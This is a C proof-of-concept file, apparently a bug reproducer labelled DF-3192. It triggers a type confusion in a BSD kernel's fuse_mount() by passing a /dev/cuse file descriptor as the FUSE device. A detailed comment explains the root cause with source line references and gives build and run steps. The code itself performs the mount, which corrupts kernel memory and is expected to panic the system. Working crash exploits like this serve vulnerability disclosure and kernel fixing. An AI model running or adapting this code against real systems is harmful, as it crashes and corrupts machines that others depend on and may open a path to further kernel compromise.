DF-3192 / tc.c
/* * DF-3192 โ fuse_mount() validates the mount SOURCE NAME (args.from โ * nlookup โ VOP_ACCESS on /dev/fuse) but then pulls the fuse_mount object * from a DIFFERENT file descriptor (args.fd) via devfs_get_cdevpriv() * (sys/vfs/fuse/fuse_vfsops.c:163-168). devfs_get_cdevpriv() returns * whatever private data ANY driver attached to that fd * (sys/vfs/devfs/devfs_core.c:2938). There is no check that the fd is * actually the /dev/fuse descriptor that was just looked up. * * With a /dev/cuse fd (cuse_server_open() attaches a struct cuse_server* * as cdevpriv โ sys/dev/misc/cuse/cuse.c:768-777), the kernel treats the * cuse_server as a struct fuse_mount and, in fuse_mount(), writes * fmp->mp / fmp->dead / mtx_init()ร3 / TAILQ_INIT()ร2 / RB_INIT() / * fmp->devvp / fmp->cred / refcount_acquire(&fmp->refcnt) / * fuse_node_new(...&fmp->rfnp) / IPC list heads ... * into the foreign object (fuse_vfsops.c:176-199) โ cross-driver type * confusion writing fuse_mount layout (and the ~0x100-byte struct poking * past a smaller cuse_server allocation) into a live cuse_server. * On an INVARIANTS kernel this trips KKASSERT(fmp->refcnt > 0) * (fuse_vfsops.c:186) reading foreign bytes, or corrupts the cuse_server * so that its dtor (cuse_server_free) later walks fuse pointers. * * Build: cc -O2 -Wall -o tc tc.c * Run (root): kldload cuse; ./tc * Expected: panic (KKASSERT fmp->refcnt / mtx corruption) or mount fails * after INIT timeout with a permanently corrupted cuse_server * that crashes at close()/dtor. */ #include <sys/param.h> #include <sys/mount.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <sys/stat.h> struct fuse_mount_info { int flags; int fd; int max_read; const char *subtype; const char *from; }; int main(void) { struct fuse_mount_info args; int fd; setvbuf(stdout, NULL, _IONBF, 0); mkdir("/mnt/tc3192", 0755); fd = open("/dev/cuse", O_RDWR); if (fd < 0) { perror("open /dev/cuse (kldload cuse first?)"); return 1; } printf("opened /dev/cuse fd=%d โ cdevpriv is now a struct cuse_server*\n", fd); memset(&args, 0, sizeof(args)); args.fd = fd; /* <<< the foreign descriptor */ args.from = "/dev/fuse"; /* <<< the name the kernel actually validates */ args.max_read = 1 << 20; printf("mount(fuse, /mnt/tc3192, fd=<cuse>) โ kernel now writes a " "fuse_mount layout into the cuse_server ...\n"); if (mount("fuse", "/mnt/tc3192", 0, &args) < 0) { printf("mount failed: %s (cuse_server already corrupted in-kernel; " "closing fd now runs cuse_server_free on it)\n", strerror(errno)); } else { printf("mount UNEXPECTEDLY SUCCEEDED (type confusion silently " "corrupted cuse_server)\n"); unmount("/mnt/tc3192", 0); } printf("closing the cuse fd -> cuse_server_free dtor on corrupted object\n"); close(fd); printf("survived close\n"); return 0; } |